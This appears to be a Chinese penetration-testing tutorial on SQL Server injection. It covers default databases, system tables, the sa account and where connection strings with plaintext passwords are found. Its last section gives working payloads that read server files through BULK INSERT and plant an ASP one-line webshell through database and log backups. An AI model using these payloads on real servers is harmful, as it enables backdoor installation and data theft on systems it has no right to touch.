Sql server注入之庫的介紹
目錄
- Mssql簡介
- Mssql 服務、埠、字尾
- 預設庫的介紹
- 欄位的介紹
- 資料庫部分程式碼語句分析
- 資料庫的讀寫檔案
Mssql簡介
-
Microsoft SQL Sever 分為很多個版本,版本的不斷的升級安全性也越來越高,對我們滲透過程中最喜歡的版本應該就是2008以前,在2008及其以後的版本資料庫的許可權已經不再是system。
-
為了迎合新的版本我以後文章的實驗都在2008版本下面進行,同時也介紹以前可以利用的方法,相對於MySQL這個mssql顯得重了許多,他眾多的功能也給我們注入過程帶來了便利, 所以一般資料庫為mssql支援多語句我們就考慮是不是應該直接拿下webshell。
-
對於mssql的一個注入點我們往往最關心的這個注入點的許可權問題,是sa、db_owner還是public
Mssql 服務、埠、字尾
安裝完後重啟服務,使其生效,服務命令: services.msc
cmd命令,檢視mssql服務程序埠:netstat -ano
TCP 0.0.0.0:1433 0.0.0.0:0 LISTENING
1433:這是一個很重要的埠,mssql這個資料庫是以管理員身份安裝在系統服務上的,所以說他有一個管理員賬號叫:sa,他的許可權相當於我們的系統機許可權的,要是這個伺服器安裝了1433,一定要給sa的賬號設定一個強悍點的密碼,千萬不要設定弱口令,抓雞也是抓1433的。
資料庫檔案字尾:cracer.mdf
資料庫日誌檔案字尾:cracer_log.ldf
這兩個檔案很重要,要注意字尾,copy的話一定要將這兩個檔案一起copy,停止的話要先分離。
預設庫的介紹
-
master //用於記錄所有SQL Server系統級別的資訊,這些資訊用於控制使用者資料庫和資料操作。
-
model //SQL Server為使用者資料庫提供的樣板,新的使用者資料庫都以model資料庫為基礎
-
msdb //由 Enterprise Manager和Agent使用,記錄著任務計劃資訊、事件處理資訊、資料備份及恢復資訊、警告及異常資訊。
-
tempdb //它為臨時表和其他臨時工作提供了一個儲存區。
這裡我們經常要打交道的庫也就是master,他儲存了我們的所有資料庫名等等,還有很多儲存過程,所謂儲存過程你可以把他理解成一個函式呼叫的過程。
儲存過程是一個可程式設計的函式,它在資料庫中建立並儲存。
它可以有SQL語句和一些特殊的控制結構組成。
當希望在不同的應用程式或平臺上執行相同的函式,或者封裝特定功能時,儲存過程是非常有用的。
資料庫中的儲存過程可以看做是對程式設計中面向物件方法的模擬。它允許控制資料的訪問方式。
我們以master庫為例可以看到上面幾個東西,其中視圖表master.dbo.sysdatabases儲存所有資料庫名,其他資料庫的檢視則儲存他本庫的表名與列名。
每一個庫的試圖表都有syscolumns儲存著所有的欄位,可程式設計性儲存著我們的函式。
基本資訊:
@@version // 資料庫版本
user //獲取當前資料庫使用者名稱
db_name() // 當前資料庫名 其中db_name(N)可以來遍歷其他資料庫
;select user //查詢是否支援多語句
host_name() //服務端主機名
mssql的儲存過程是我們利用的重點,他天然支援多語句,也為我們注入提供了便利,我們可以通過檢視可程式設計性裡面的函式來查詢他的功能,發現一些新的東西
欄位的介紹
簡介:說明資料庫sysObjects表中xtype欄位值的含義。
sysObjects表它存放該資料庫內建立的所有物件,如約束、預設值、日誌、規則、儲存過程等,每個物件在表中佔一行。
select top 1 name,xtype from sysobjects;
name xtype sysrscols S
xtype可以是下列物件型別中的一種:
C = CHECK 約束
D = 預設值或 DEFAULT 約束
F = FOREIGN KEY 約束
L = 日誌
FN = 標量函式
IF = 內嵌表函式
P = 儲存過程
PK = PRIMARY KEY 約束(型別是 K)
RF = 複製篩選儲存過程
S = 系統表
TF = 表函式
TR = 觸發器
U = 使用者表
UQ = UNIQUE 約束(型別是 K)
V = 檢視
X = 擴充套件儲存過程
當xtype=‘U’ and status>0代表是使用者建立的表,物件名就是表名,物件ID就是表的ID值。
用: select * from misa.dbo.sysobjects where xtype=‘U’ and status>0 就可以列出庫misa中所有的使用者建立的表名。
SELECT * FROM SYSOBJECTS WHERE PARENT_OBJ = OBJECT_ID( ‘CS’) AND XTYPE=‘TR’
列出表cs的所有屬性,上面是trigger!
資料庫部分程式碼語句分析
呼叫資料庫程式碼
<%
set conn =server.createobject("adodb.connection")
conn.open "provider=sqloledb;source=local;uid=sa;pwd=******;database=database-name"
%>
分析:
其中,provider後面的不用管,照寫;source後面的可以是ip地址(有可能是外網地址,用sa的話可以允許登入外網地址),這裡我用的是本地的;sa是內建的使用者,它的密碼是你在安裝的時候設定的;database後面是你要連線的資料庫的名稱,例:mydatabase(不需副檔名)。
這條語句是找資料庫的密碼的,在網站找資料庫的連線資訊的時候,這個程式碼一般在資料庫連結檔案上,連結檔案如:
asp指令碼網站 的:conn.asp 或者在Dbconfig.asp這種帶db的或者帶config的指令碼檔案上。
aspx指令碼的話有可能在:web.config,這種指令碼檔案一般會記錄資料庫的連結,管理員賬號,和明文密碼的。
建立資料庫
use asp\_net;
create table admin
(
id int primary key , username varchar(50) null, password varchar(50) null
);
insert into admin(id,username,password) values(1,'admin','admin');
其查詢方式與mysql的語法大同小異。
資料庫的讀寫檔案
讀寫前提:
1. 需要 SA
2. BULK INSERT 許可權.
- BULK INSERT檔案讀取:
create table test(
context ntext
); 建立一個臨時表test
///將本地檔案pass寫test入表中
BULK INSERT test FROM 'c:/pass.txt'
WITH (
DATAFILETYPE = 'char',
KEEPNULLS
);
select * from test;
drop table test;
- 資料庫備份
create table [bin_cmd]([cmd] [image]);
declare @a sysname,@s nvarchar(4000)select @a=db_name(),@s=0x62696E backup database @a to disk=@s;
insert into [bin_cmd](cmd)values('<%execute/**/(request(chr(35)))%>');
declare @b sysname,@t nvarchar(4000)select @b=db_name(),@t='E:\bin.asp' backup database @b to disk=@t WITH DIFFERENTIAL,FORMAT;drop table [bin_cmd];
- 日誌備份
create table [bin_cmd]([cmd] [image]);
declare @a sysname,@s nvarchar(4000)select @a=db_name(),@s=0x62696E backup log @a to disk=@s;
insert into [bin_cmd](cmd)values('<%execute/**/(request(chr(35)))%>');
declare @b sysname,@t nvarchar(4000)select @b=db_name(),@t='e:\1.asp' backup log @b to disk=@t with init,no_truncate;drop table [bin_cmd];
參考連結: